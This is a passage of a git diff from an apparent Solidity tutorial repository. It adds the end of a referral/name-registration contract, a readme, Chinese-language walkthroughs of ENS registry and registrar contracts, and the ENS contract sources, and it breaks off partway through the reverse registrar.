+        if(aff_affID <= 0){
+            aff_affID = _pIDxName[_defaulRefer];
+        }
+        _plyr[aff_affID].rreward = _plyr[aff_affID].rreward.add(aff_affReward);
+        _totalReferReward= _totalReferReward.add(aff_affReward);
+
+        _plyr[pID].amount = _plyr[pID].amount.add( amount);
+
+        fee = fee.add(aff_affReward);
+       
+        emit eveSettle( pID,affID,aff_affID,affReward,aff_affReward,amount);
+
+        return fee;
+    }
+
+    /**
+     * claim all of the refer reward.
+     */
+    function claim()
+        public
+    {
+        address addr = msg.sender;
+        uint256 pid = _pIDxAddr[addr];
+        uint256 reward = _plyr[pid].rreward;
+
+        require(reward > 0,"only have reward");
+        
+        //reset
+        _plyr[pid].allReward = _plyr[pid].allReward.add(reward);
+        _plyr[pid].rreward = 0;
+
+        //get reward
+        _dego.safeTransfer(addr, reward);
+        
+        // fire event
+        emit eveClaim(_pIDxAddr[addr], addr, reward, balances());
+    }
+
+
+    /**
+     * check name string
+     */
+    function checkIfNameValid(string memory nameStr)
+        public
+        view
+        returns(bool)
+    {
+        bytes32 name = nameStr.nameFilter();
+        if (_pIDxName[name] == 0)
+            return (true);
+        else 
+            return (false);
+    }
+    
+    /**
+     * @dev add a default player
+     */
+    function addDefaultPlayer(address addr, bytes32 name)
+        private
+    {        
+        _pID++;
+
+        _plyr[_pID].addr = addr;
+        _plyr[_pID].name = name;
+        _plyr[_pID].nameCount = 1;
+        _pIDxAddr[addr] = _pID;
+        _pIDxName[name] = _pID;
+        _plyrNames[_pID][name] = true;
+
+        //fire event
+        emit eveDefaultPlayer(_pID,addr,name);        
+    }
+    
+    /**
+     * @dev set refer reward rate
+     */
+    function setReferRewardRate(uint256 refer1Rate, uint256 refer2Rate ) public  
+        onlyGovernance
+    {
+        _refer1RewardRate = refer1Rate;
+        _refer2RewardRate = refer2Rate;
+    }
+
+    /**
+     * @dev set registration step count
+     */
+    function setRegistrationStep(uint256 registrationStep) public  
+        onlyGovernance
+    {
+        _registrationStep = registrationStep;
+    }
+
+    /**
+     * @dev set dego contract address
+     */
+    function setDegoContract(address dego)  public  
+        onlyGovernance{
+        _dego = IERC20(dego);
+    }
+
+
+    /**
+     * @dev registers a name.  UI will always display the last name you registered.
+     * but you will still own all previously registered names to use as affiliate 
+     * links.
+     * - must pay a registration fee.
+     * - name must be unique
+     * - names will be converted to lowercase
+     * - cannot be only numbers
+     * - cannot start with 0x 
+     * - name must be at least 1 char
+     * - max length of 32 characters long
+     * - allowed characters: a-z, 0-9
+     * -functionhash- 0x921dec21 (using ID for affiliate)
+     * -functionhash- 0x3ddd4698 (using address for affiliate)
+     * -functionhash- 0x685ffd83 (using name for affiliate)
+     * @param nameString players desired name
+     * @param affCode affiliate name of who refered you
+     * (this might cost a lot of gas)
+     */
+
+    function registerNameXName(string memory nameString, string memory affCode)
+        public
+        payable 
+    {
+
+        // make sure name fees paid
+        require (msg.value >= this.getRegistrationFee(), "umm.....  you have to pay the name fee");
+
+        // filter name + condition checks
+        bytes32 name = NameFilter.nameFilter(nameString);
+        // if names already has been used
+        require(_pIDxName[name] == 0, "sorry that names already taken");
+
+        // set up address 
+        address addr = msg.sender;
+         // set up our tx event data and determine if player is new or not
+        _determinePID(addr);
+        // fetch player id
+        uint256 pID = _pIDxAddr[addr];
+        // if names already has been used
+        require(_plyrNames[pID][name] == false, "sorry that names already taken");
+
+        // add name to player profile, registry, and name book
+        _plyrNames[pID][name] = true;
+        _pIDxName[name] = pID;   
+        _plyr[pID].name = name;
+        _plyr[pID].nameCount++;
+
+        _totalRegisterCount++;
+
+
+        //try bind a refer
+        if(_plyr[pID].laff == 0){
+
+            bytes memory tempCode = bytes(affCode);
+            bytes32 affName = 0x0;
+            if (tempCode.length >= 0) {
+                assembly {
+                    affName := mload(add(tempCode, 32))
+                }
+            }
+
+            _bindRefer(addr,affName);
+        }
+        uint256 affID = _plyr[pID].laff;
+
+        // fire event
+        emit eveNewName(pID, addr, name, affID, _plyr[affID].addr, _plyr[affID].name, _registrationBaseFee );
+    }
+    
+    /**
+     * @dev bind a refer,if affcode invalid, use default refer
+     */  
+    function bindRefer( address from, string calldata  affCode )
+        isRegisteredPool()
+        external
+        returns (bool)
+    {
+
+        bytes memory tempCode = bytes(affCode);
+        bytes32 affName = 0x0;
+        if (tempCode.length >= 0) {
+            assembly {
+                affName := mload(add(tempCode, 32))
+            }
+        }
+
+        return _bindRefer(from, affName);
+    }
+
+
+    /**
+     * @dev bind a refer,if affcode invalid, use default refer
+     */  
+    function _bindRefer( address from, bytes32  name )
+        validAddress(msg.sender)    
+        validAddress(from)  
+        private
+        returns (bool)
+    {
+        // set up our tx event data and determine if player is new or not
+        _determinePID(from);
+
+        // fetch player id
+        uint256 pID = _pIDxAddr[from];
+        if( _plyr[pID].laff != 0){
+            return false;
+        }
+
+        if (_pIDxName[name] == 0){
+            //unregister name 
+            name = _defaulRefer;
+        }
+      
+        uint256 affID = _pIDxName[name];
+        if( affID == pID){
+            affID = _pIDxName[_defaulRefer];
+        }
+       
+        _plyr[pID].laff = affID;
+
+        //lvcount
+        _plyr[affID].lv1Count++;
+        uint256 aff_affID = _plyr[affID].laff;
+        if(aff_affID != 0 ){
+            _plyr[aff_affID].lv2Count++;
+        }
+        
+        // fire event
+        emit eveBindRefer(pID, from, name, affID, _plyr[affID].addr, _plyr[affID].name);
+
+        return true;
+    }
+    
+    //
+    function _determinePID(address addr)
+        private
+        returns (bool)
+    {
+        if (_pIDxAddr[addr] == 0)
+        {
+            _pID++;
+            _pIDxAddr[addr] = _pID;
+            _plyr[_pID].addr = addr;
+            
+            // set the new player bool to true
+            return (true);
+        } else {
+            return (false);
+        }
+    }
+    
+    function hasRefer(address from) 
+        isRegisteredPool()
+        external 
+        returns(bool) 
+    {
+        _determinePID(from);
+        uint256 pID =  _pIDxAddr[from];
+        return (_plyr[pID].laff > 0);
+    }
+
+    
+    function getPlayerName(address from)
+        external
+        view
+        returns (bytes32)
+    {
+        uint256 pID =  _pIDxAddr[from];
+        if(_pID==0){
+            return "";
+        }
+        return (_plyr[pID].name);
+    }
+
+    function getPlayerLaffName(address from)
+        external
+        view
+        returns (bytes32)
+    {
+        uint256 pID =  _pIDxAddr[from];
+        if(_pID==0){
+             return "";
+        }
+
+        uint256 aID=_plyr[pID].laff;
+        if( aID== 0){
+            return "";
+        }
+
+        return (_plyr[aID].name);
+    }
+
+    function getPlayerInfo(address from)
+        external
+        view
+        returns (uint256,uint256,uint256,uint256)
+    {
+        uint256 pID = _pIDxAddr[from];
+        if(_pID==0){
+             return (0,0,0,0);
+        }
+        return (_plyr[pID].rreward,_plyr[pID].allReward,_plyr[pID].lv1Count,_plyr[pID].lv2Count);
+    }
+
+    function getTotalReferReward()
+        external
+        view
+        returns (uint256)
+    {
+        return(_totalReferReward);
+    }
+
+    function getRegistrationFee()
+        external
+        view
+        returns (uint256)
+    {
+        if( _totalRegisterCount <_registrationStep || _registrationStep == 0){
+            return _registrationBaseFee;
+        }
+        else{
+            uint256 step = _totalRegisterCount.div(_registrationStep);
+            return _registrationBaseFee.add(step.mul(_stepFee));
+        }
+    }
+}
\ No newline at end of file
diff --git a/basic/60-Referral-code/readme.md b/basic/60-Referral-code/readme.md
new file mode 100644
index 000000000..904545957
--- /dev/null
+++ b/basic/60-Referral-code/readme.md
@@ -0,0 +1,10 @@
+## Referral
+
+We built a referral library: Referral Solidity, to help DApp developers to quickly build their own referral mechanisms. In this document we will share how to use our library. We have also integrated referral to our tutorial demo.
+
+## DEGO Referral
+
+## 参考链接
+
+- referral solidity: <https://github.com/thundercore/referral-solidity>
+- dego： <https://github.com/dego-labs/dego-core/blob/master/contracts/referral/PlayerBook.sol>
diff --git a/basic/61-ENS/.gitignore b/basic/61-ENS/.gitignore
new file mode 100644
index 000000000..36077f288
--- /dev/null
+++ b/basic/61-ENS/.gitignore
@@ -0,0 +1,9 @@
+node_modules
+.env
+coverage
+coverage.json
+typechain
+
+#Hardhat files
+cache
+artifacts
diff --git a/basic/61-ENS/1-ENSRegistry.md b/basic/61-ENS/1-ENSRegistry.md
new file mode 100644
index 000000000..36d4b7c7d
--- /dev/null
+++ b/basic/61-ENS/1-ENSRegistry.md
@@ -0,0 +1,73 @@
+# ENSRegistry.sol 合约介绍   
+ENSRegistry 是 ENS 的主合约, 用于注册用户地址对应的域名
+
+## 合约接口解析  
+- construct   
+在 constrcut 中设置根域名的拥有者为合约的部署者, 之后设置一级子域名的时候会校验调用者是否为根域名的拥有者  
+```solidity
+constructor() public {
+        records[0x0].owner = msg.sender;
+    }
+```
+
+- authorised 
+authorised 修饰器确保只有对应域名的 owner 才能进行相应的操作  
+```solidity
+modifier authorised(bytes32 node) {
+        address owner = records[node].owner;
+        require(owner == msg.sender || operators[owner][msg.sender]);
+        _;
+    }
+```
+
+- setOwner   
+转移域名的所有权, 转移时会校验被转移域名的所有者是否为当前的调用者 
+```solidity
+function setOwner(bytes32 node, address owner) public virtual override authorised(node) {
+        _setOwner(node, owner);
+        emit Transfer(node, owner);
+    }
+```
+
+- setResolver  
+设置域名的反相解析器, 此解析器可以用来反向解析域名 Hash 对应的可读域名, 比如 "0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2" => 'addr.reverse'
+```solidity
+function setResolver(bytes32 node, address resolver) public virtual override authorised(node) {
+        emit NewResolver(node, resolver);
+        records[node].resolver = resolver;
+    }
+```
+
+- setTTL  
+设置域名的过期时间, 时间单位为 秒, 比如设置 ttl 为 3600, 表示 1 个小时后此域名过期  
+```solidity
+function setTTL(bytes32 node, uint64 ttl) public virtual override authorised(node) {
+        emit NewTTL(node, ttl);
+        records[node].ttl = ttl;
+    }
+```
+
+- setRecord  
+设置域名的拥有者, 反向解析器地址, ttl 时间. 这个方法是在域名已经存在的情况后, 进行设置的  
+```solidity
+function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external virtual override {
+        setOwner(node, owner);
+        _setResolverAndTTL(node, resolver, ttl);
+    }
+```
+
+- setSubnodeOwner  
+设置子域名的拥有者, 所有一级域名及后续的子域名都需要通过这个接口进行设置
+```solidity
+function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public virtual override authorised(node) returns(bytes32) {
+        bytes32 subnode = keccak256(abi.encodePacked(node, label));
+        _setOwner(subnode, owner);
+        emit NewOwner(node, label, owner);
+        return subnode;
+    }
+````
+
+
+## 总结  
+观察 ENSRegistry 的接口和内部变量, 可以看到合约中只处理了从 "node" => "owner address" 即域名到拥有者的映射, 但没有处理从 "owner address" => "node" 的映射.  
+其实, 从 "owner address" => "node" 的映射可以通过 Graph 进行处理, 在 setOwner 接口中会出发 Transfer 事件, 而通过 Graph 的处理, 就可以得到 "owner address" => "node" 的映射关系. 
\ No newline at end of file
diff --git a/basic/61-ENS/2-ENSRegistryWithFallback.md b/basic/61-ENS/2-ENSRegistryWithFallback.md
new file mode 100644
index 000000000..7a0f10d2d
--- /dev/null
+++ b/basic/61-ENS/2-ENSRegistryWithFallback.md
@@ -0,0 +1,47 @@
+# ENSRegistryWithFallback.sol 合约介绍   
+ENSRegistryWithFallback 同 ENSRegistry 功能相同, 唯一的区别是当对应的域名信息在当前合约中不存在时, 会去旧 ENS 合约中查找对应的数据
+
+## 合约接口解析  
+- construct   
+在 constrcut 中设置旧 ENS 合约地址 
+```solidity
+constructor(ENS _old) public ENSRegistry() {
+        old = _old;
+    }
+```
+
+- resolver 
+查找对应域名 Hash 对应的反向解析器, 如果当前 ENS 中没有查找到, 就在 old ENS 中查找 
+```solidity
+function resolver(bytes32 node) public override view returns (address) {
+        if (!recordExists(node)) {
+            return old.resolver(node);
+        }
+
+        return super.resolver(node);
+    }
+```
+
+- owner   
+查找域名的所有者,  如果当前 ENS 中没有查找到, 就在 old ENS 中查找
+```solidity
+function owner(bytes32 node) public override view returns (address) {
+        if (!recordExists(node)) {
+            return old.owner(node);
+        }
+
+        return super.owner(node);
+    }
+```
+
+- ttl  
+查找域名的 TTL , 如果当前 ENS 中没有查找到, 就在 old ENS 中查找
+```solidity
+function ttl(bytes32 node) public override view returns (uint64) {
+        if (!recordExists(node)) {
+            return old.ttl(node);
+        }
+
+        return super.ttl(node);
+    }
+```
\ No newline at end of file
diff --git a/basic/61-ENS/3-FIFSRegistrar.md b/basic/61-ENS/3-FIFSRegistrar.md
new file mode 100644
index 000000000..7b141ad81
--- /dev/null
+++ b/basic/61-ENS/3-FIFSRegistrar.md
@@ -0,0 +1,35 @@
+# FIFSRegistrar.sol 合约介绍   
+FIFSRegistrar 是子域名注册器, 用户设置没有被注册的子域名, 或是更改已经注册的子域名 ( 属于调用者的子域名 )  
+
+## 合约接口解析  
+- only_owner     
+用户判断注册子域名的状态. 如果子域名没有被注册, 或是当前子域名属于调用者, 则允许调用; 负责不允许更改子域名状态
+```solidity
+modifier only_owner(bytes32 label) {
+        address currentOwner = ens.owner(keccak256(abi.encodePacked(rootNode, label)));
+        require(currentOwner == address(0x0) || currentOwner == msg.sender);
+        _;
+    }
+```
+
+- constructor  
+构造器中设置了 ENS 的地址和当前的父域名的 Hash 
+```solidity
+constructor(ENS ensAddr, bytes32 node) public {
+        ens = ensAddr;
+        rootNode = node;
+    }
+```
+
+- register  
+子域名注册接口, 调用者通过调用这个接口进行子域名注册. 
+如果我们回到 ENS 合约中观察 ens.setSubnodeOwner 这个接口, 就会发现调用这个接口的时候, ENS 合约会检查 rootNode 域名对应的 owner 是否为调用者 ( 这里为 FIFSRegistrar 合约 ), 所以 ENS 一级域名 ( 如 .eth ,  .com  域名 ) 的所有者是当前 FIFSRegistrar 合约, 这样当 FIFSRegistrar 调用 ens.setSubnodeOwner 接口时, 就可以成功进行调用
+```solidity
+function register(bytes32 label, address owner) public only_owner(label) {
+        ens.setSubnodeOwner(rootNode, label, owner);
+    }
+}
+```
+
+## 总结  
+一般这个这个合约是给一级域名使用的, 对于用户说, 用户在获得对应的二级、 三级 域名后, 可以直接调用 ENS 接口进行相应的设置
\ No newline at end of file
diff --git a/basic/61-ENS/4-ReverseRegistrar.md b/basic/61-ENS/4-ReverseRegistrar.md
new file mode 100644
index 000000000..f99e2749c
--- /dev/null
+++ b/basic/61-ENS/4-ReverseRegistrar.md
@@ -0,0 +1,71 @@
+# ReverseRegistrar.sol 合约介绍   
+ReverseRegistrar 反向域名解析器注册器, 用户注册反向域名解析器.  
+反向域名解析器即把对应的域名 Hash 转换为可读域名 , 如 "0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2" => 'addr.reverse'.   
+在 ENS 合于中, 我们了解到可以通过查询 Graph 获取 "owner address" => "node Hash" 的映射, 但这里获取 "node Hash" 后，依然不是可读字符, 需要把它转换为可读字符.  
+
+## 合约接口解析  
+- constructor       
+在构造器中, 设置 ENS 地址和 反向域名解析器地址.  
+在部署时, 如果叶子域名对应的所有者不是合约部署者, 则设置叶子域名的所有者为合约部署者.  
+举例来说, 如果存在域名 .edu.eth , 那么用户 0x00123 在这个域名下的叶子域名为 0x00123.edu.eth , 那么设置 0x00123.edu.eth 域名的所有者为 0x00123
+```solidity
+constructor(ENS ensAddr, NameResolver resolverAddr) public {
+        ens = ensAddr;
+        defaultResolver = resolverAddr;
+
+        // Assign ownership of the reverse record to our deployer
+        ReverseRegistrar oldRegistrar = ReverseRegistrar(ens.owner(ADDR_REVERSE_NODE));
+        if (address(oldRegistrar) != address(0x0)) {
+            oldRegistrar.claim(msg.sender);
+        }
+    }
+```
+
+
+- claim    
+转移叶子域名的所有者到对应的用户.  
+此接口主要在部署新 ReverseRegistrar 合约的时候, 调用旧  ReverseRegistrar 合约的  claim  时使用
+```solidity
+function claim(address owner) public returns (bytes32) {
+        return claimWithResolver(owner, address(0x0));
+    }
+```
+
+- setName   
+设置域名 Hash 的对应的可读字符, 比如 "0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2" => 'addr.reverse'
+```solidity
+function setName(string memory name) public returns (bytes32) {
+        bytes32 node = claimWithResolver(address(this), address(defaultResolver));
+        defaultResolver.setName(node, name);
+        return node;
+    }
+```
+
+- claimWithResolver 
+设置域名 Hash 的反向解析器,主要在两个接口中被调用.  
+1) claim :  转移叶子域名的所有者到对应的用户. 调用时, resolver 为 0 地址, 此时不更新 resolver 地址, 只更新 owner 地址
+2) setName :  owner 和 resolver 参数都不为 0 地址, 此时先更新叶子域名 ( 如 0x001234.edu.eth ) 的 owner 为当前合约. 注意, 这里更新 owner 的原因为在后续的 ens.setResolver(node, resolver) 中需要 owner 权限的地址才能调用, 所有这里需要先进行权限转移. 然后再调用  ens.setResolver(node, resolver) 进行解析器地址的更新.
+```solidity  
+function claimWithResolver(address owner, address resolver) public returns (bytes32) {
+        bytes32 label = sha3HexAddress(msg.sender);
+        bytes32 node = keccak256(abi.encodePacked(ADDR_REVERSE_NODE, label));
+        address currentOwner = ens.owner(node);
+
+        // Update the resolver if required
+        if (resolver != address(0x0) && resolver != ens.resolver(node)) {
+            // Transfer the name to us first if it's not already
+            if (currentOwner != address(this)) {
+                ens.setSubnodeOwner(ADDR_REVERSE_NODE, label, address(this));
+                currentOwner = address(this);
+            }
+            ens.setResolver(node, resolver);
+        }
+
+        // Update the owner if required
+        if (currentOwner != owner) {
+            ens.setSubnodeOwner(ADDR_REVERSE_NODE, label, owner);
+        }
+
+        return node;
+    }
+```
diff --git a/basic/61-ENS/contracts/DummyResolver.sol b/basic/61-ENS/contracts/DummyResolver.sol
new file mode 100644
index 000000000..df1efc7d1
--- /dev/null
+++ b/basic/61-ENS/contracts/DummyResolver.sol
@@ -0,0 +1,10 @@
+pragma solidity >=0.4.24;
+
+contract DummyResolver {
+
+    mapping (bytes32 => string) public name;
+
+    function setName(bytes32 node, string memory _name) public {
+        name[node] = _name;
+    }
+}
diff --git a/basic/61-ENS/contracts/ENS.sol b/basic/61-ENS/contracts/ENS.sol
new file mode 100644
index 000000000..06d6181e4
--- /dev/null
+++ b/basic/61-ENS/contracts/ENS.sol
@@ -0,0 +1,32 @@
+pragma solidity ^0.7.0;
+
+interface ENS {
+
+    // Logged when the owner of a node assigns a new owner to a subnode.
+    event NewOwner(bytes32 indexed node, bytes32 indexed label, address owner);
+
+    // Logged when the owner of a node transfers ownership to a new account.
+    event Transfer(bytes32 indexed node, address owner);
+
+    // Logged when the resolver for a node changes.
+    event NewResolver(bytes32 indexed node, address resolver);
+
+    // Logged when the TTL of a node changes
+    event NewTTL(bytes32 indexed node, uint64 ttl);
+
+    // Logged when an operator is added or removed.
+    event ApprovalForAll(address indexed owner, address indexed operator, bool approved);
+
+    function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external virtual;
+    function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external virtual;
+    function setSubnodeOwner(bytes32 node, bytes32 label, address owner) external virtual returns(bytes32);
+    function setResolver(bytes32 node, address resolver) external virtual;
+    function setOwner(bytes32 node, address owner) external virtual;
+    function setTTL(bytes32 node, uint64 ttl) external virtual;
+    function setApprovalForAll(address operator, bool approved) external virtual;
+    function owner(bytes32 node) external virtual view returns (address);
+    function resolver(bytes32 node) external virtual view returns (address);
+    function ttl(bytes32 node) external virtual view returns (uint64);
+    function recordExists(bytes32 node) external virtual view returns (bool);
+    function isApprovedForAll(address owner, address operator) external virtual view returns (bool);
+}
diff --git a/basic/61-ENS/contracts/ENSRegistry.sol b/basic/61-ENS/contracts/ENSRegistry.sol
new file mode 100644
index 000000000..382d45086
--- /dev/null
+++ b/basic/61-ENS/contracts/ENSRegistry.sol
@@ -0,0 +1,178 @@
+pragma solidity ^0.7.0;
+
+import "./ENS.sol";
+
+/**
+ * The ENS registry contract.
+ */
+contract ENSRegistry is ENS {
+
+    struct Record {
+        address owner;
+        address resolver;
+        uint64 ttl;
+    }
+
+    mapping (bytes32 => Record) records;
+    mapping (address => mapping(address => bool)) operators;
+
+    // Permits modifications only by the owner of the specified node.
+    modifier authorised(bytes32 node) {
+        address owner = records[node].owner;
+        require(owner == msg.sender || operators[owner][msg.sender]);
+        _;
+    }
+
+    /**
+     * @dev Constructs a new ENS registrar.
+     */
+    constructor() public {
+        records[0x0].owner = msg.sender;
+    }
+
+    /**
+     * @dev Sets the record for a node.
+     * @param node The node to update.
+     * @param owner The address of the new owner.
+     * @param resolver The address of the resolver.
+     * @param ttl The TTL in seconds.
+     */
+    function setRecord(bytes32 node, address owner, address resolver, uint64 ttl) external virtual override {
+        setOwner(node, owner);
+        _setResolverAndTTL(node, resolver, ttl);
+    }
+
+    /**
+     * @dev Sets the record for a subnode.
+     * @param node The parent node.
+     * @param label The hash of the label specifying the subnode.
+     * @param owner The address of the new owner.
+     * @param resolver The address of the resolver.
+     * @param ttl The TTL in seconds.
+     */
+    function setSubnodeRecord(bytes32 node, bytes32 label, address owner, address resolver, uint64 ttl) external virtual override {
+        bytes32 subnode = setSubnodeOwner(node, label, owner);
+        _setResolverAndTTL(subnode, resolver, ttl);
+    }
+
+    /**
+     * @dev Transfers ownership of a node to a new address. May only be called by the current owner of the node.
+     * @param node The node to transfer ownership of.
+     * @param owner The address of the new owner.
+     */
+    function setOwner(bytes32 node, address owner) public virtual override authorised(node) {
+        _setOwner(node, owner);
+        emit Transfer(node, owner);
+    }
+
+    /**
+     * @dev Transfers ownership of a subnode keccak256(node, label) to a new address. May only be called by the owner of the parent node.
+     * @param node The parent node.
+     * @param label The hash of the label specifying the subnode.
+     * @param owner The address of the new owner.
+     */
+    function setSubnodeOwner(bytes32 node, bytes32 label, address owner) public virtual override authorised(node) returns(bytes32) {
+        bytes32 subnode = keccak256(abi.encodePacked(node, label));
+        _setOwner(subnode, owner);
+        emit NewOwner(node, label, owner);
+        return subnode;
+    }
+
+    /**
+     * @dev Sets the resolver address for the specified node.
+     * @param node The node to update.
+     * @param resolver The address of the resolver.
+     */
+    function setResolver(bytes32 node, address resolver) public virtual override authorised(node) {
+        emit NewResolver(node, resolver);
+        records[node].resolver = resolver;
+    }
+
+    /**
+     * @dev Sets the TTL for the specified node.
+     * @param node The node to update.
+     * @param ttl The TTL in seconds.
+     */
+    function setTTL(bytes32 node, uint64 ttl) public virtual override authorised(node) {
+        emit NewTTL(node, ttl);
+        records[node].ttl = ttl;
+    }
+
+    /**
+     * @dev Enable or disable approval for a third party ("operator") to manage
+     *  all of `msg.sender`'s ENS records. Emits the ApprovalForAll event.
+     * @param operator Address to add to the set of authorized operators.
+     * @param approved True if the operator is approved, false to revoke approval.
+     */
+    function setApprovalForAll(address operator, bool approved) external virtual override {
+        operators[msg.sender][operator] = approved;
+        emit ApprovalForAll(msg.sender, operator, approved);
+    }
+
+    /**
+     * @dev Returns the address that owns the specified node.
+     * @param node The specified node.
+     * @return address of the owner.
+     */
+    function owner(bytes32 node) public virtual override view returns (address) {
+        address addr = records[node].owner;
+        if (addr == address(this)) {
+            return address(0x0);
+        }
+
+        return addr;
+    }
+
+    /**
+     * @dev Returns the address of the resolver for the specified node.
+     * @param node The specified node.
+     * @return address of the resolver.
+     */
+    function resolver(bytes32 node) public virtual override view returns (address) {
+        return records[node].resolver;
+    }
+
+    /**
+     * @dev Returns the TTL of a node, and any records associated with it.
+     * @param node The specified node.
+     * @return ttl of the node.
+     */
+    function ttl(bytes32 node) public virtual override view returns (uint64) {
+        return records[node].ttl;
+    }
+
+    /**
+     * @dev Returns whether a record has been imported to the registry.
+     * @param node The specified node.
+     * @return Bool if record exists
+     */
+    function recordExists(bytes32 node) public virtual override view returns (bool) {
+        return records[node].owner != address(0x0);
+    }
+
+    /**
+     * @dev Query if an address is an authorized operator for another address.
+     * @param owner The address that owns the records.
+     * @param operator The address that acts on behalf of the owner.
+     * @return True if `operator` is an approved operator for `owner`, false otherwise.
+     */
+    function isApprovedForAll(address owner, address operator) external virtual override view returns (bool) {
+        return operators[owner][operator];
+    }
+
+    function _setOwner(bytes32 node, address owner) internal virtual {
+        records[node].owner = owner;
+    }
+
+    function _setResolverAndTTL(bytes32 node, address resolver, uint64 ttl) internal {
+        if(resolver != records[node].resolver) {
+            records[node].resolver = resolver;
+            emit NewResolver(node, resolver);
+        }
+
+        if(ttl != records[node].ttl) {
+            records[node].ttl = ttl;
+            emit NewTTL(node, ttl);
+        }
+    }
+}
diff --git a/basic/61-ENS/contracts/ENSRegistryWithFallback.sol b/basic/61-ENS/contracts/ENSRegistryWithFallback.sol
new file mode 100644
index 000000000..14e76b595
--- /dev/null
+++ b/basic/61-ENS/contracts/ENSRegistryWithFallback.sol
@@ -0,0 +1,67 @@
+pragma solidity ^0.7.0;
+
+import "./ENS.sol";
+import "./ENSRegistry.sol";
+
+/**
+ * The ENS registry contract.
+ */
+contract ENSRegistryWithFallback is ENSRegistry {
+
+    ENS public old;
+
+    /**
+     * @dev Constructs a new ENS registrar.
+     */
+    constructor(ENS _old) public ENSRegistry() {
+        old = _old;
+    }
+
+    /**
+     * @dev Returns the address of the resolver for the specified node.
+     * @param node The specified node.
+     * @return address of the resolver.
+     */
+    function resolver(bytes32 node) public override view returns (address) {
+        if (!recordExists(node)) {
+            return old.resolver(node);
+        }
+
+        return super.resolver(node);
+    }
+
+    /**
+     * @dev Returns the address that owns the specified node.
+     * @param node The specified node.
+     * @return address of the owner.
+     */
+    function owner(bytes32 node) public override view returns (address) {
+        if (!recordExists(node)) {
+            return old.owner(node);
+        }
+
+        return super.owner(node);
+    }
+
+    /**
+     * @dev Returns the TTL of a node, and any records associated with it.
+     * @param node The specified node.
+     * @return ttl of the node.
+     */
+    function ttl(bytes32 node) public override view returns (uint64) {
+        if (!recordExists(node)) {
+            return old.ttl(node);
+        }
+
+        return super.ttl(node);
+    }
+
+    function _setOwner(bytes32 node, address owner) internal override {
+        address addr = owner;
+        if (addr == address(0x0)) {
+            addr = address(this);
+        }
+
+        super._setOwner(node, addr);
+    }
+}
diff --git a/basic/61-ENS/contracts/FIFSRegistrar.sol b/basic/61-ENS/contracts/FIFSRegistrar.sol
new file mode 100644
index 000000000..4ad779da7
--- /dev/null
+++ b/basic/61-ENS/contracts/FIFSRegistrar.sol
@@ -0,0 +1,36 @@
+pragma solidity ^0.7.0;
+
+import "./ENS.sol";
+
+/**
+ * A registrar that allocates subdomains to the first person to claim them.
+ */
+contract FIFSRegistrar {
+    ENS ens;
+    bytes32 rootNode;
+
+    modifier only_owner(bytes32 label) {
+        address currentOwner = ens.owner(keccak256(abi.encodePacked(rootNode, label)));
+        require(currentOwner == address(0x0) || currentOwner == msg.sender);
+        _;
+    }
+
+    /**
+     * Constructor.
+     * @param ensAddr The address of the ENS registry.
+     * @param node The node that this registrar administers.
+     */
+    constructor(ENS ensAddr, bytes32 node) public {
+        ens = ensAddr;
+        rootNode = node;
+    }
+
+    /**
+     * Register a name, or change the owner of an existing registration.
+     * @param label The hash of the label to register.
+     * @param owner The address of the new owner.
+     */
+    function register(bytes32 label, address owner) public only_owner(label) {
+        ens.setSubnodeOwner(rootNode, label, owner);
+    }
+}
diff --git a/basic/61-ENS/contracts/Migrations.sol b/basic/61-ENS/contracts/Migrations.sol
new file mode 100644
index 000000000..dc101e34d
--- /dev/null
+++ b/basic/61-ENS/contracts/Migrations.sol
@@ -0,0 +1,26 @@
+pragma solidity ^0.7.0;
+
+/**
+ * Truffle migration helper contract
+ */
+contract Migrations {
+  address public owner;
+  uint public last_completed_migration;
+
+  modifier restricted() {
+    if (msg.sender == owner) _;
+  }
+
+  constructor() public {
+    owner = msg.sender;
+  }
+
+  function setCompleted(uint completed) public restricted {
+    last_completed_migration = completed;
+  }
+
+  function upgrade(address new_address) public restricted {
+    Migrations upgraded = Migrations(new_address);
+    upgraded.setCompleted(last_completed_migration);
+  }
+}
diff --git a/basic/61-ENS/contracts/ReverseRegistrar.sol b/basic/61-ENS/contracts/ReverseRegistrar.sol
new file mode 100644
index 000000000..a00242dba
--- /dev/null
+++ b/basic/61-ENS/contracts/ReverseRegistrar.sol
@@ -0,0 +1,119 @@
+pragma solidity ^0.7.0;
+
+import "./ENS.sol";
+
+abstract contract NameResolver {
+    function setName(bytes32 node, string memory name) public virtual;
+}
+
+contract ReverseRegistrar {
+    // namehash('addr.reverse')
+    bytes32 public constant ADDR_REVERSE_NODE = 0x91d1777781884d03a6757a803996e38de2a42967fb37eeaca72729271025a9e2;
+
+    ENS public ens;
+    NameResolver public defaultResolver;
+
+    /**
+     * @dev Constructor
+     * @param ensAddr The address of the ENS registry.
+     * @param resolverAddr The address of the default reverse resolver.
+     */
+    constructor(ENS ensAddr, NameResolver resolverAddr) public {
+        ens = ensAddr;
+        defaultResolver = resolverAddr;
+
+        // Assign ownership of the reverse record to our deployer
+        ReverseRegistrar oldRegistrar = ReverseRegistrar(ens.owner(ADDR_REVERSE_NODE));
+        if (address(oldRegistrar) != address(0x0)) {
+            oldRegistrar.claim(msg.sender);
+        }
+    }
+
+    /**
+     * @dev Transfers ownership of the reverse ENS record associated with the
+     *      calling account.
+     * @param owner The address to set as the owner of the reverse record in ENS.
+     * @return The ENS node hash of the reverse record.
+     */
+    function claim(address owner) public returns (bytes32) {
+        return claimWithResolver(owner, address(0x0));
+    }
+
+    /**
+     * @dev Transfers ownership of the reverse ENS record associated with the
+     *      calling account.
+     * @param owner The address to set as the owner of the reverse record in ENS.
+     * @param resolver The address of the resolver to set; 0 to leave unchanged.
+     * @return The ENS node hash of the reverse record.
+     */
+    function claimWithResolver(address owner, address resolver) public returns (bytes32) {
+        bytes32 label = sha3HexAddress(msg.sender);
+        bytes32 node = keccak256(abi.encodePacked(ADDR_REVERSE_NODE, label));
+        address currentOwner = ens.owner(node);
+
+        // Update the resolver if required
+        if (resolver != address(0x0) && resolver != ens.resolver(node)) {
+            // Transfer the name to us first if it's not already
+            if (currentOwner != address(this)) {
